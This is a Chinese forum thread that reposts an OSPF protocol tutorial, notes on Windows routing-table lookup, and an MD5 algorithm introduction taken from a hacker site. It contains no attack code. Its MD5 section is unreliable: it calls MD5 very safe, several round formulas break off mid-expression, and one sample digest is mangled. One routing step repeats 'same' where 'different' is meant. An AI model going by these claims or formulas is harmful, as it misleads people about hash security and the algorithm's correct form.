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动态路由协议OSPF原理和特性

近几年来，随着计算机网络应用蓬勃发展，新的网络产品和网络技术得到了进一步的发展，这些又使计算机网络规模的扩展成为可能。OSPF（Open Shortest Path First）是一种广泛使用的路由协议，采用OSPF协议的自治系统，经过合理的规划可以有效地扩展计算机网络的规模。本文介绍了OSPF的原理和特性。
动态路由协议简介

路由和路由协议

顾名思义，动态路由协议是一些动态生成(或学习到)路由信息的协议。在计算机网络互联技术领域，我们可以把路由定义如下，路由是指导IP报文发送的一些路径信息。动态路由协议是网络设备如路由器(Router)学习网络中路由信息的方法之一，这些协议使路由器能动态地随着网络拓扑中产生(如某些路径的失效或新路由的产生等)的变化，更新其保存的路由表，使网络中的路由器在较短的时间内，无需网络管理员介入自动地维持一致的路由信息，使整个网络达到路由收敛状态，从而保持网络的快速收敛和高可用性。

路由器学习路由信息、生成并维护路由表的方法包括直连路由(Direct)、静态路由(Static)和动态路由(Dynamic)。直连路由是由链路层协议发现的，一般指去往路由器的接口地址所在网段的路径，该路径信息不需要网络管理员维护，也不需要路由器通过某种算法进行计算获得，只要该接口处于活动状态(Active)，路由器就会把通向该网段的路由信息填写到路由表中去，直连路由无法使路由器获取与其不直接相连的路由信息。静态路由是由网络规划者根据网络拓扑，使用命令在路由器上配置的路由信息，这些静态路由信息指导报文发送，静态路由方式也不需要路由器进行计算，但是它完全依赖于网络规划者，当网络规模较大或网络拓扑经常发生改变时，网络管理员需要做的工作将会非常复杂并且容易产生错误。而动态路由的方式使路由器能够按照特定的算法自动计算新的路由信息，适应网络拓扑结构的变化。

动态路由协议的分类

按照区域(指自治系统)，动态路由协议可分为内部网关协议IGP(Interior Gateway Protocol)和外部网关协议EGP(Exterior Gateway Protocol)，按照所执行的算法，动态路由协议可分为距离向量路由协议(Distance Vector)、链路状态路由协议(Link State)，以及思科公司开发的混合型路由协议，如图1所示。

本文着重讨论自治系统内部的链路状态协议OSPF的原理，并结合距离向量协议作一些简单的比较。



OSPF协议的特点

OSPF全称为开放最短路径优先。“开放”表明它是一个公开的协议，由标准协议组织制定，各厂商都可以得到协议的细节。“最短路径优先”是该协议在进行路由计算时执行的算法。OSPF是目前内部网关协议中使用最为广泛、性能最优的一个协议，它具有以下特点：

◆ 可适应大规模的网络；

◆ 路由变化收敛速度快；

◆ 无路由自环；

◆ 支持变长子网掩码(VLSM)；

◆ 支持等值路由；

◆ 支持区域划分；

◆ 提供路由分级管理；

◆ 支持验证；

◆ 支持以组播地址发送协议报文。

采用OSPF协议的自治系统，经过合理的规划可支持超过1000台路由器，这一性能是距离向量协议如RIP等无法比拟的。距离向量路由协议采用周期性地发送整张路由表来使网络中路由器的路由信息保持一致，这个机制浪费了网络带宽并引发了一系列的问题，下面对此将作简单的介绍。

路由变化收敛速度是衡量一个路由协议好坏的一个关键因素。在网络拓扑发生变化时，网络中的路由器能否在很短的时间内相互通告所产生的变化并进行路由的重新计算，是网络可用性的一个重要的表现方面。

OSPF采用一些技术手段(如SPF算法、邻接关系等)避免了路由自环的产生。在网络中，路由自环的产生将导致网络带宽资源的极大耗费，甚至使网络不可用。OSPF协议从根本(算法本身)上避免了自环的产生。采用距离向量协议的RIP等协议，路由自环是不可避免的。为了完善这些协议，只能采取若干措施，在自环发生前，降低其发生的概率，在自环发生后，减小其影响范围和时间。

在IP(IPV4)地址日益匮乏的今天，能否支持变长子网掩码(VLSM)来节省IP地址资源，对一个路由协议来说是非常重要的，OSPF能够满足这一要求。

在采用OSPF协议的网络中，如果通过OSPF计算出到同一目的地有两条以上代价(Metric)相等的路由，该协议可以将这些等值路由同时添加到路由表中。这样，在进行转发时可以实现负载分担或负载均衡。

在支持区域划分和路由分级管理上，OSPF协议能够适合在大规模的网络中使用。

在协议本身的安全性上，OSPF使用验证，在邻接路由器间进行路由信息通告时可以指定密码，从而确定邻接路由器的合法性。

与广播方式相比，用组播地址来发送协议报文可以节省网络带宽资源。

从衡量路由协议性能的角度，我们可以看出，OSPF协议确实是一个比较先进的动态路由协议，这也是它得到广泛采用的主要原因。

OSPF协议的工作原理

网络拓扑结构

上文提到，OSPF协议是一种链路状态协议，那么OSPF是如何来描述链路连接状况呢？

抽象模型Model 1表示路由器的一个以太网接口不连接其他路由器，只连接了一个以太网段。此时，对于运行 OSPF的路由器R1，只能识别本身，无法识别该网段上的设备(主机等)；抽象模型Model 2表示路由器R1通过点对点链路(如PPP、HDLC等)连接一台路由器R2；抽象模型Model 3表示路由器R1通过点对多点(如Frame Relay、X.25等)链路连接多台路由器R3、R4等，此时路由器R5、R6之间不进行互联；抽象模型Model 4表示路由器R1通过点对多点(如Frame Relay、X.25等)链路连接多台路由器R5、R6等，此时路由器R5、R6之间互联。以上抽象模型着重于各类链路层协议的特点，而不涉及具体的链路层协议细节。该模型基本表达了当前网络链路的连接种类。

在OSPF协议中，分别对以上四种链路状态类型作了描述：

对于抽象模型Model 1(以太网链路)，使用Link ID(连接的网段)、Data(掩码)、Type(类型)和Metric(代价)来描述。此时的Link ID即为路由器R1接口所在网段，Data为所用掩码，Type为3(Stubnet)，Metric为代价值。

对于抽象模型Model 2(点对点链路)，先使用Link ID(连接的网段)、Data(掩码)、Type(类型)和Metric(代价)来描述接口路由，以上各参数与Model 1相似。接下来描述对端路由器R2，四个参数名不变，但其含义有所不同。此时Link ID为路由器R2的Router ID，Data为路由器R2的接口地址，Type为1(Router)，Metric仍为代价值。

对于抽象模型Model 3(点对多点链路，不全连通)，先使用Link ID(连接的网段)、Data(掩码)、Type(类型)和Metric(代价)来描述接口路由，以上各参数与Model 1相似。接下来分别描述对端路由器R3、R4的方法，与在Model 2中描述R2类似。

对于抽象模型Model 4(点对多点链路，全连通)，先使用Link ID(网段中DR的接口地址)、Data(本接口的地址)、Type(类型)和Metric(代价)来描述接口路由。此时Type值为2(Transnet)，然后是本网段中DR(指定路由器)描述的连接通告。

路由器在通报其获知的链路状态(即上面所述的参数)前，加上LSA头(Link State Advertisement Head)，从而生成LSA(链路状态广播)。到此，路由器通过LSA完成周边网络的拓扑结构描述，并发送给网络中的其他路由器。

计算路由

路由器完成周边网络的拓扑结构的描述(生成LSA)后，发送给网络中的其他路由器，每台路由器生成链路状态数据库(LSDB)。路由器开始执行SPF(最短路径优先)算法计算路由，路由器以自己为根节点，把LSDB中的条目与LSA进行对比，经过若干次的递归和回溯，直至路由器把所有LSA中包含的网段都找到路径(把该路由填入路由表中)，此时意味着所到达的该段链路的类型标识为3(Stubnet)。

确保LSA在路由器间传送的可靠性

从上文可以知道，作为链路状态协议的OSPF的工作机制，与RIP等距离向量的路由协议是不一样的。距离向量路由协议是通过周期性地发送整张路由表，来使网络中的路由器的路由信息保持一致。这种机制存在着上文提到的一些弊病。而OSPF协议将包含路由信息的部分与只包含路由器间邻接关系的部分分开，它使用一种被称作Hello的数据包来确认邻接关系，这个数据包非常小，它仅被用来发现和维持邻接关系。

在路由器R1初始化完成后，它将向路由器R2发送Hello数据包。此时R1并不知道R2的存在，因此在数据包中不包含R2的信息(参数seen=0)。而R2在接收到该数据包后，将向R1发送Hello包。此时，Hello包中将表明它已知道存在R1这个邻居。R1收到这个回应包后就会知道邻居R2的存在，并且邻居R2也知道了自己的存在(参数seen=R1)。此时在路由器R1和R2之间就建立了邻接关系，它们就可以把LSA发送给对方。当然，在发送时OSPF考虑到要尽量减少占用的带宽，它采用了一些技巧，我们将在下一节简单介绍这些内容。

众所周知，IP协议是一种不可靠的、面向无连接的协议，它本身没有确认和错误重传机制。那么，在这种协议基础之上，要做到数据包丢失或出错后进行重传，上层协议必须本身具备这种可靠的机制。OSPF采取了与TCP类似的确认和超时重传机制。在机制中，R1和R2将进行一种被称作链路状态数据库描述(DD)的数据包的互传。首先进行协商，从而确定两者之间的主从关系(根据路由器ID号，ID号大的将作为Master)。链路状态数据库描述(DD)数据包中包含了一些参数，序列号(seq)、报文号(I)、结尾标识(M)及主从标志(MS)。从属路由器将使用主路由器发出的DD包中的序列号(seq)，作为自己的第一个DD包的序列号。当主路由器收到从属路由器的DD包时，就能确认邻接路由器已收到自己的数据包(如果没有收到或收到的DD包的序列号不是自己一个DD包的序列号，主路由器将重传上一个DD包)，主路由器将序列号加1(只有主路由器才有权改变序列号，而从属路由器没有)，并发送下一个DD包，该过程的重复保证了在OSPF协议中数据包传输的准确性，从而为OSPF协议成为一个准确的路由协议打下了基础。



高效率地进行LSA的交换

在RIP等距离向量路由协议中，路由信息的交互是通过周期性地传送整张路由表的机制来完成的，该机制使距离向量路由协议无法高效地进行路由信息的交换。在OSPF协议中，为了提高传输效率，在进行链路状态通告(LSA)数据包传输时，使用包含LSA头(Head)的链路状态数据库描述数据包进行传输，因为每个LSA头中不包含具体的链路状态信息，它只含有各LSA的标识(该标识唯一代表一个LSA)，所以，该报文非常小。邻接路由器间使用这种字节数很小的数据包，首先确认在相互之间哪些LSA是对方没有的，而哪些LSA在对方路由器中也存在，邻接路由器间只会传输对方没有的LSA。对于自己没有的LSA，路由器会发送一个LS Request报文给邻接路由器来请求对方发送该LSA，邻接路由器在收到LS Request报文后，回应一个LS Update报文(包含该整条LSA信息)，在得到对方确认后(接收到对方发出的LS ACK报文)，这两台路由器完成了本条LSA信息的同步。

由此可见，OSPF协议采用增量传输的方法来使邻接路由器保持一致的链路状态数据库(LSDB)。

小结

综上所述，我们可以归纳出在OSPF协议中使用到的五种协议报文，并简单介绍了它们的作用，我们作个简单的小结：

◆ Hello报文，通过周期性地发送来发现和维护邻接关系；

◆ DD(链路状态数据库描述)报文，描述本地路由器保存的LSDB(链路状态数据库)；

◆ LSR(LS Request)报文，向邻居请求本地没有的LSA；

◆ LSU(LS Update)报文，向邻居发送其请求或更新的LSA；

◆ LSAck(LS ACK)报文，收到邻居发送的LSA后发送的确认报文。

OSPF协议采用的特殊机制

指定路由器和备份指定路由器

在OSPF协议中，路由器通过发送Hello报文来确定邻接关系，每一台路由器都会与其他路由器建立邻接关系，这就要求路由器之间两两建立邻接关系，每台路由器都必须与其他路由器建立邻接关系，以达到同步链路状态数据库的目的，在网络中就会建立起n×(n-1)/2条邻接关系(n为网络中OSPF路由器的数量)，这样，在进行数据库同步时需要占用一定的带宽。

为了解决这个问题，OSPF采用了一个特殊的机制：选举一台指定路由器(DR)，使网络中的其他路由器都和它建立邻接关系，而其他路由器彼此之间不用保持邻接。路由器间链路状态数据库的同步，都通过与指定路由器交互信息完成。这样，在网络中仅需建立n-1条邻接关系。备份指定路由器(BDR)是指定路由器在网络中的备份路由器，它会在指定路由器关机或产生问题后自动接替它的工作。这时，网络中的其他路由器就会和备份指定路由器交互信息来实现数据库的同步。

要被选举为指定路由器，该路由器应符合以下要求：

◆ 该路由器是本网段内的OSPF路由器；

◆ 该OSPF路由器在本网段内的优先级(Priority)>0；

◆ 该OSPF路由器的优先级最大，如果所有路由器的优先级相等，路由器号(Router ID)最大的路由器(每台路由器的Router ID是唯一的)被选举为指定路由器。

满足以上条件的路由器被选举为指定路由器，而第二个满足条件的路由器则当选为备份指定路由器。

指定路由器和备份指定路由器的选举，是由路由器通过发送Hello数据报文来完成的。

OSPF协议中的区域划分

OSPF协议在大规模网络的使用中，链路状态数据库比较庞大，它占用了很大的存储空间。在执行最小生成数算法时，要耗费较长的时间和很大的CPU资源，网络拓扑变化的概率也大大增加。这些因素的存在，不仅耗费了路由器大量的存储空间，加重了路由器CPU的负担，而且，整个网络会因为拓扑结构的经常变化，长期处于“动荡”的不可用的状态。

OSPF协议之所以能够支持大规模的网络，进行区域划分是一个重要的原因。

OSPF协议允许网络方案设计人员根据需要把路由器放在不同的区域(Area)中，两个不同的区域通过区域边界路由器(ABR)相连。在区域内部的路由信息同步，采取的方法与上文提到的方法相同。在两个不同区域之间的路由信息传递，由区域边界路由器(ABR)完成。它把相连两个区域内生成的路由，以类型3的LSA向对方区域发送。此时，一个区域内的OSPF路由器只保留本区域内的链路状态信息，没有其他区域的链路状态信息。这样，在两个区域之间减小了链路状态数据库，降低了生成数算法的计算量。同时，当一个区域中的拓扑结构发生变化时，其他区域中的路由器不需要重新进行计算。OSPF协议中的区域划分机制，有效地解决了OSPF在大规模网络中应用时产生的问题。

OSPF协议使用区域号(Area ID)来区分不同的区域，其中，区域0为骨干区域(根区域)。因为在区域间不再进行链路状态信息的交互(实际上，在区域间传递路由信息采用了可能导致路由自环的递归算法)，OSPF协议依靠维护整个网络链路状态来实现无路由自环的能力，在区域间无法实现。所以，路由自环可能会发生在OSPF的区域之间。解决这一问题的办法是，使所有其他的区域都连接在骨干区域(Area 0)周围，即所有非骨干区域都与骨干区域邻接。对于一些无法与骨干区域邻接的区域，在它们与骨干区域之间建立虚连接。

结束语

本文对OSPF动态路由协议的主要原理和特性作了简单的介绍，没有涉及到自治系统(AS)以外的路由及路由聚合。

OSPF协议采用路由器间建立和维护邻接关系，维护链路状态信息数据库，采用最短生成树算法，避免了路由自环。同时，又采用了一些特殊的机制，保证了它在大规模网络中的可用性。

[ 本帖最后由 blackhold 于 2006-12-5 09:29 编辑 ]

黑洞

先转过来..还没看.......

黑洞

关于路由表的一些知识（新手TO老鸟）

windows server 2003家族的IP路由表包括了以下路由：如下图

1.默认路由（0.0.0.0  0.0.0.0 或0／0）
没有其他路由匹配时的最近匹配路由。如果选择默认路由，数据报将会通过指定给接口的IP地址10.10.28.3被发送到默认网关的IP地址（10.10.28.1）

2.回环网络路由（127.0.0.0 255.0.0.0 或127.0.0.0／8）
匹配在127.0.0.0到127.255.255.255范围内的任何IP地址。所有以127开头的IP地址都是为回环保留的。IP地址在此范围内的所有IP数据报会通过回环接口发送到回环保留地址127.0.0.1.

3.直连网络路由（10.10.28.0 255.255.255.0 或10.10.28.0／24）
到达本地子网的路由（就是直接转发了，有些人可能会问，在同一个网络内发送数据，不是只要二层物理地址就行了，干嘛还要IP地址，原来就在这，另外，想一想OSI七层模型，就应该不会再有疑问了：））。选择这样的路由时，IP数据报通过IP地址为10.10.28.3的接口发送到目的IP地址。

4.本地主机路由（10.10.28.3 255.255.255.255或10.10.28.3／32）
已分配的IP地址的主机路由。所有地址为本地主机IP地址的数据报会通过回环接口发送到保留回环地址127.0.0.1.

5.全子网定向广播路由（10.255.255.255 255.255.255.255或10.255.255.255/32）
网络ID为10.0.0.0／8的A类地址的全子网定向广播地址的主机路由，到全子网定向广播地址的数据报通过IP地址为10.10.28.3的接口作为MAC层广播被发送。只有本地网络划分子网时，才会有全子网定向广播路由。

6.多播地址路由（224.0.0.0／4）
用来匹配为IP多播数据而保留的所有D类地址。IP多播数据报通过IP地址10.10.28.3的接口作为MAC层多播被发送。

7.有限广播路由（255.255.255.255／32）
有限广播地址的主机路由。要传送到有限广播地址的数据报通过IP地址10.10.28.3的接口作为MAC层广播发送。

注意：IP路由表中的路由是基于IP地址、子网掩码和默认网关的基本配置生成的。附加路由可以通过静态路由、ICMP重定向信息接收或路由协议添加。

   下面讲讲，路由表有什么用。对要传送的IP数据报来说，必须选定路由表中的一个路由来确定要传送的下一跳的接口和IP地址。要选择传送时的最好路由，IP将使用下面的处理过程：

1、对IP路由表中的每个路由（注意：是每个路由），通过目的IP地址和网络掩码（注：数据包里面，并不包含掩码，提个醒，嘿嘿）按位逻辑与运算，将结果与该路由目的网络字段值比较，确定那些路由与IP数据报的目的IP地址匹配。如果匹配，将路由标记为匹配路由。

2、在匹配终端的路由中，确定哪一条路由的网络掩码字段的位是1的数目最多。有最多1的路由就是最匹配（最接近）目的IP地址的路由。这是最长匹配或最近匹配的范例。最长匹配是到目的端的最特别的路由。注意对于默认路由，网络掩码字段是没有为1的位的，但是，它是一条匹配路由。

3、在最长匹配的路由列表中，确定具有最少跃点数（另外一种说法：度量）的路由。

4、在最长匹配并且有最少跃点数的路由列表中，路由器可以自由选择一条路由。（应该是选择第一条，就是如果有二条是一样的，会选择第一条，第二条当备份的）

5、从选择的路由中，检测网关和接口IP地址。

6、如果网关IP地址和接口IP地址相同，将下一跳IP地址设置为IP数据报要传送到的目的IP地址。（在同一个网络，直接转发）

7、如果网关IP地址和接口IP地址相同，将下一跳IP地址设置为网关的IP地址。（间接转发）

8、最后发到ARP模块（不多说了）。


      路由选择的结果就是选择到终端的具有最少跃点且最特别的一条路由。单个路由的选择需要下一跳IP地址和IP数据报要传送到的接口。如果没有匹配的路由，IP会提示路由错误。发送主机会在上层协议收到一个内部IP路由错误的通知。路由器端会丢弃IP数据报，向发送端主机发送一条“ICMP的ICMP目的不可达－主机不可达”的消息。

下面是使用这张路由表到达不同PC的下一跳IP地址和接口的示例：

1.单播目的端 10.10.28.4
    将数据发送到单播目的IP地址10.10.28.4（本地子网通信，直接传输）时，匹配路由是默认路由（0／0）和本地子网路由（10.10.28.0／24）。由于本地子网更加匹配目的IP地址（1的位数多，有24位），因此选择直连网络ID路由。另外由于网关和接口IP字段相同，所以数据报的下一跳IP地址被设置为10.10.28.3.（参考上面路由项）

2.单播目的端 192.168.0.1
将数据发送到单播目的IP地址192.168.0.1（不同网段，间接传输）时，只有默认路由（0／0）可以匹配。由于网关和接口IP字段不同，数据报的下一跳IP地址被设置为10.10.28.1.

3.多播目的端 224.0.0.1
匹配路由是默认路由（0／0）和多播路由（224.0.0.0／4）。由于多播路由更匹配目的IP地址，因此选择多播路由。由于网关和接口字段设置为相同的值，数据报的下一跳IP地址被设置为224.0.0.1.注意的是，对多播来说，224.0.0.1的相应网络接口层地址是一定的（对以太网和FDDI，MAC地址是01-00-5E-00-00-01）,发送数据报不需要进行地址解析。

4.子网广播目的端10.10.28.255
匹配路由是默认路由（0／0）和本地子网路由（10.10.28.0／24）。本地主机路由比默认路由更匹配，因此选择本地子网路由。（有些书上，写是本地主机路由更匹配，而把数据发送到内部回环接口上面，不太理解，有知道的朋友，指点一下）。

                               
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[ 本帖最后由 blackhold 于 2006-12-3 10:56 编辑 ]

黑洞

MD5算法详细介绍

以下信息来自　[黑客动画吧　www.hack58.com bbs.hack58.com]
md5的全称是message-digest algorithm 5（信息-摘要算法），在90年代初由mit laboratory for computer science和rsa data security inc的ronald l. rivest开发出来，经md2、md3和md4发展而来。它的作用是让大容量信息在用数字签名软件签署私人密匙前被"压缩"成一种保密的格式（就是把一个任意长度的字节串变换成一定长的大整数）。不管是md2、md4还是md5，它们都需要获得一个随机长度的信息并产生一个128位的信息摘要。虽然这些算法的结构或多或少有些相似，但md2的设计与md4和md5完全不同，那是因为md2是为8位机器做过设计优化的，而md4和md5却是面向32位的电脑。这三个算法的描述和c语言源代码在internet rfcs 1321中有详细的描述（h++p://www.ietf.org/rfc/rfc1321.txt），这是一份最权威的文档，由ronald l. rivest在1992年8月向ieft提交。
rivest在1989年开发出md2算法。在这个算法中，首先对信息进行数据补位，使信息的字节长度是16的倍数。然后，以一个16位的检验和追加到信息末尾。并且根据这个新产生的信息计算出散列值。后来，rogier和chauvaud发现如果忽略了检验和将产生md2冲突。md2算法的加密后结果是唯一的--既没有重复。
为了加强算法的安全性，rivest在1990年又开发出md4算法。md4算法同样需要填补信息以确保信息的字节长度加上448后能被512整除（信息字节长度mod 512 = 448）。然后，一个以64位黑吧表示的信息的最初长度被添加进来。信息被处理成512位damg?rd/merkle迭代结构的区块，而且每个区块要通过三个不同步骤的处理。den boer和bosselaers以及其他人很快的发现了攻击md4版本中第一步和第三步的漏洞。dobbertin向大家演示了如何利用一部普通的个人电脑在几分钟内找到md4完整版本中的冲突（这个冲突实际上是一种漏洞，它将导致对不同的内容进行加密却可能得到相同的加密后结果）。毫无疑问，md4就此被淘汰掉了。
尽管md4算法在安全上有个这么大的漏洞，但它对在其后才被开发出来的好几种信息安全加密算法的出现却有着不可忽视的引导作用。除了md5以外，其中比较有名的还有sha-1、ripe-md以及haval等。
一年以后，即1991年，rivest开发出技术上更为趋近成熟的md5算法。它在md4的基础上增加了"安全-带子"（safety-belts）的概念。虽然md5比md4稍微慢一些，但却更为安全。这个算法很明显的由四个和md4设计有少许不同的步骤组成。在md5算法中，信息-摘要的大小和填充的必要条件与md4完全相同。den boer和bosselaers曾发现md5算法中的假冲突（pseudo-collisions），但除此之外就没有其他被发现的加密后结果了。
van oorschot和wiener曾经考虑过一个在散列中暴力搜寻冲突的函数（brute-force hash function），而且他们猜测一个被设计专门用来搜索md5冲突的机器（这台机器在1994年的制造成本大约是一百万美元）可以平均每24天就找到一个冲突。但单从1991年到2001年这10年间，竟没有出现替代md5算法的md6或被叫做其他什么名字的新算法这一点，我们就可以看出这个瑕疵并没有太多的影响md5的安全性。上面所有这些都不足以成为md5的在实际应用中的问题。并且，由于md5算法的使用不需要支付任何版权费用的，所以在一般的情况下（非绝密应用领域。但即便是应用在绝密领域内，md5也不失为一种非常优秀的中间技术），md5怎么都应该算得上是非常安全的了。
算法的应用
md5的典型应用是对一段信息（message）产生信息摘要（message-digest），以防止被篡改。比如，在unix下有很多软件在下载的时候都有一个文件名相同，文件扩展名为.md5的文件，在这个文件中通常只有一行文本，大致结构如：
md5 (tanajiya.tar.gz) = 0ca175b9c0f726a831d895e269332461
这就是tanajiya.tar.gz文件的数字签名。md5将整个文件当作一个大文本信息，通过其不可逆的字符串变换算法，产生了这个唯一的md5信息摘要。如果在以后传播这个文件的过程中，无论文件的内容发生了任何形式的改变（包括人为修改或者下载过程中线路不稳定引起的传输错误等），只要你对这个文件重新计算md5时就会发现信息摘要不相同，由此可以确定你得到的只是一个不正确的文件。如果再有一个第三方的认证机构，用md5还可以防止文件作者的"抵赖"，这就是所谓的数字签名应用。
md5还广泛用于加密和解密技术上。比如在unix系统中用户的密码就是以md5（或其它类似的算法）经加密后存储在文件系统中。当用户登录的时候，系统把用户输入的密码计算成md5值，然后再去和保存在文件系统中的md5值进行比较，进而确定输入的密码是否正确。通过这样的步骤，系统在并不知道用户密码的明码的情况下就可以确定用户登录系统的合法性。这不但可以避免用户的密码被具有系统管理员权限的用户知道，而且还在一定程度上增加了密码被破解的难度。
正是因为这个原因，现在被黑客使用最多的一种破译密码的方法就是一种被称为"跑字典"的方法。有两种方法得到字典，一种是日常搜集的用做密码的字符串表，另一种是用排列组合方法生成的，先用md5程序计算出这些字典项的md5值，然后再用目标的md5值在这个字典中检索。我们假设密码的最大长度为8位字节（8 bytes），同时密码只能是字母和数字，共26+26+10=62个字符，排列组合出的字典的项数则是p(62,1)+p(62,2)….+p(62,8)，那也已经是一个很天文的数字了，存储这个字典就需要tb级的磁盘阵列，而且这种方法还有一个前提，就是能获得目标账户的密码md5值的情况下才可以。这种加密技术被广泛的应用于unix系统中，这也是为什么unix系统比一般操作系统更为坚固一个重要原因。
算法描述
对md5算法简要的叙述可以为：md5以512位分组来处理输入的信息，且每一分组又被划分为16个32位子分组，经过了一系列的处理后，算法的输出由四个32位分组组成，将这四个32位分组级联后将生成一个128位散列值。
在md5算法中，首先需要对信息进行填充，使其字节长度对512求余的结果等于448。因此，信息的字节长度（bits length）将被扩展至n*512+448，即n*64+56个字节（bytes），n为一个正整数。填充的方法如下，在信息的后面填充一个1和无数个0，直到满足上面的条件时才停止用0对信息的填充。然后，在在这个结果后面附加一个以64位黑吧表示的填充前信息长度。经过这两步的处理，现在的信息字节长度=n*512+448+64=(n+1)*512，即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
md5中有四个32位被称作链接变量（chaining variable）的整数参数，他们分别为：a=0x01234567，b=0x89abcdef，c=0xfedcba98，d=0x76543210。
当设置好这四个链接变量后，就开始进入算法的四轮循环运算。循环的次数是信息中512位信息分组的数目。
将上面四个链接变量复制到另外四个变量中：a到a，b到b，c到c，d到d。
主循环有四轮（md4只有三轮），每轮循环都很相似。第一轮进行16次操作。每次操作对a、b、c和d中的其中三个作一次非线性函数运算，然后将所得结果加上第四个变量，文本的一个子分组和一个常数。再将所得结果向右环移一个不定的数，并加上a、b、c或d中之一。最后用该结果取代a、b、c或d中之一。
以一下是每次操作中用到的四个非线性函数（每轮一个）。
f(x,y,z) =(x&y)|((~x)&z)
g(x,y,z) =(x&z)|(y&(~z))
h(x,y,z) =x^y^z
i(x,y,z)=y^(x|(~z))
（&是与，|是或，~是非，^是异或）
这四个函数的说明：如果x、y和z的对应位是独立和均匀的，那么结果的每一位也应是独立和均匀的。
f是一个逐位运算的函数。即，如果x，那么y，否则z。函数h是逐位奇偶操作符。
假设mj表示消息的第j个子分组（从0到15），<<
ff(a,b,c,d,mj,s,ti)表示a=b+((a+(f(b,c,d)+mj+ti)<< gg(a,b,c,d,mj,s,ti)表示a=b+((a+(g(b,c,d)+mj+ti)<< hh(a,b,c,d,mj,s,ti)表示a=b+((a+(h(b,c,d)+mj+ti)<< ii(a,b,c,d,mj,s,ti)表示a=b+((a+(i(b,c,d)+mj+ti)<<
这四轮（64步）是：
第一轮
ff(a,b,c,d,m0,7,0xd76aa478)
ff(d,a,b,c,m1,12,0xe8c7b756)
ff(c,d,a,b,m2,17,0x242070db)
ff(b,c,d,a,m3,22,0xc1bdceee)
ff(a,b,c,d,m4,7,0xf57c0faf)
ff(d,a,b,c,m5,12,0x4787c62a)
ff(c,d,a,b,m6,17,0xa8304613)
ff(b,c,d,a,m7,22,0xfd469501)
ff(a,b,c,d,m8,7,0x698098d8)
ff(d,a,b,c,m9,12,0x8b44f7af)
ff(c,d,a,b,m10,17,0xffff5bb1)
ff(b,c,d,a,m11,22,0x895cd7be)
ff(a,b,c,d,m12,7,0x6b901122)
ff(d,a,b,c,m13,12,0xfd987193)
ff(c,d,a,b,m14,17,0xa679438e)
ff(b,c,d,a,m15,22,0x49b40821)
第二轮
gg(a,b,c,d,m1,5,0xf61e2562)
gg(d,a,b,c,m6,9,0xc040b340)
gg(c,d,a,b,m11,14,0x265e5a51)
gg(b,c,d,a,m0,20,0xe9b6c7aa)
gg(a,b,c,d,m5,5,0xd62f105d)
gg(d,a,b,c,m10,9,0x02441453)
gg(c,d,a,b,m15,14,0xd8a1e681)
gg(b,c,d,a,m4,20,0xe7d3fbc8)
gg(a,b,c,d,m9,5,0x21e1cde6)
gg(d,a,b,c,m14,9,0xc33707d6)
gg(c,d,a,b,m3,14,0xf4d50d87)
gg(b,c,d,a,m8,20,0x455a14ed)
gg(a,b,c,d,m13,5,0xa9e3e905)
gg(d,a,b,c,m2,9,0xfcefa3f8)
gg(c,d,a,b,m7,14,0x676f02d9)
gg(b,c,d,a,m12,20,0x8d2a4c8a)
第三轮
hh(a,b,c,d,m5,4,0xfffa3942)
hh(d,a,b,c,m8,11,0x8771f681)
hh(c,d,a,b,m11,16,0x6d9d6122)
hh(b,c,d,a,m14,23,0xfde5380c)
hh(a,b,c,d,m1,4,0xa4beea44)
hh(d,a,b,c,m4,11,0x4bdecfa9)
hh(c,d,a,b,m7,16,0xf6bb4b60)
hh(b,c,d,a,m10,23,0xbebfbc70)
hh(a,b,c,d,m13,4,0x289b7ec6)
hh(d,a,b,c,m0,11,0xeaa127fa)
hh(c,d,a,b,m3,16,0xd4ef3085)
hh(b,c,d,a,m6,23,0x04881d05)
hh(a,b,c,d,m9,4,0xd9d4d039)
hh(d,a,b,c,m12,11,0xe6db99e5)
hh(c,d,a,b,m15,16,0x1fa27cf8)
hh(b,c,d,a,m2,23,0xc4ac5665)
第四轮
ii(a,b,c,d,m0,6,0xf4292244)
ii(d,a,b,c,m7,10,0x432aff97)
ii(c,d,a,b,m14,15,0xab9423a7)
ii(b,c,d,a,m5,21,0xfc93a039)
ii(a,b,c,d,m12,6,0x655b59c3)
ii(d,a,b,c,m3,10,0x8f0ccc92)
ii(c,d,a,b,m10,15,0xffeff47d)
ii(b,c,d,a,m1,21,0x85845dd1)
ii(a,b,c,d,m8,6,0x6fa87e4f)
ii(d,a,b,c,m15,10,0xfe2ce6e0)
ii(c,d,a,b,m6,15,0xa3014314)
ii(b,c,d,a,m13,21,0x4e0811a1)
ii(a,b,c,d,m4,6,0xf7537e82)
ii(d,a,b,c,m11,10,0xbd3af235)
ii(c,d,a,b,m2,15,0x2ad7d2bb)
ii(b,c,d,a,m9,21,0xeb86d391)
常数ti可以如下选择：
在第i步中，ti是4294967296*abs(sin(i))的整数部分，i的单位是弧度。(4294967296等于2的32次方)
所有这些完成之后，将a、b、c、d分别加上a、b、c、d。然后用下一分组数据继续运行算法，最后的输出是a、b、c和d的级联。
当你按照我上面所说的方法实现md5算法以后，你可以用以下几个信息对你做出来的程序作一个简单的测试，看看程序有没有错误。
md5 ("") = d41d8cd98f00b204e9800998ecf8427e
md5 ("a") = 0cc175b9c0f1b6a831c399e269772661
md5 ("abc") = 900150983cd24fb0d6963f7d28e17f72
md5 ("message digest") = f96b697d7cb7938d525a2f31aaf161d0
md5 ("abcdefghijklmnopqrstuvwxyz") = c3fcd3d76192e4007dfb496cca67e13b
md5 ("abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789") =
d174ab98d277d9f5a5611c2c9f419d9f
md5 ("123456789012345678901234567890123456789012345678901234567890123456789
01234567890") = 57edf4a22be3c955ac49da2e2107b67a
如果你用上面的信息分别对你做的md5算法实例做测试，最后得出的结论和标准答案完全一样，那我就要在这里象你道一声祝贺了。要知道，我的程序在第一次编译成功的时候是没有得出和上面相同的结果的。
md5的安全性
md5相对md4所作的改进：
1. 增加了第四轮；
2. 每一步均有唯一的加法常数；
3. 为减弱第二轮中函数g的对称性从(x&y)|(x&z)|(y&z)变为(x&z)|(y&(~z))；
4. 第一步加上了上一步的结果，这将引起更快的雪崩效应；
5. 改变了第二轮和第三轮中访问消息子分组的次序，使其更不相似；
6. 近似优化了每一轮中的循环左移位移量以实现更快的雪崩效应。各轮的位移量互不相同。
简单的说：
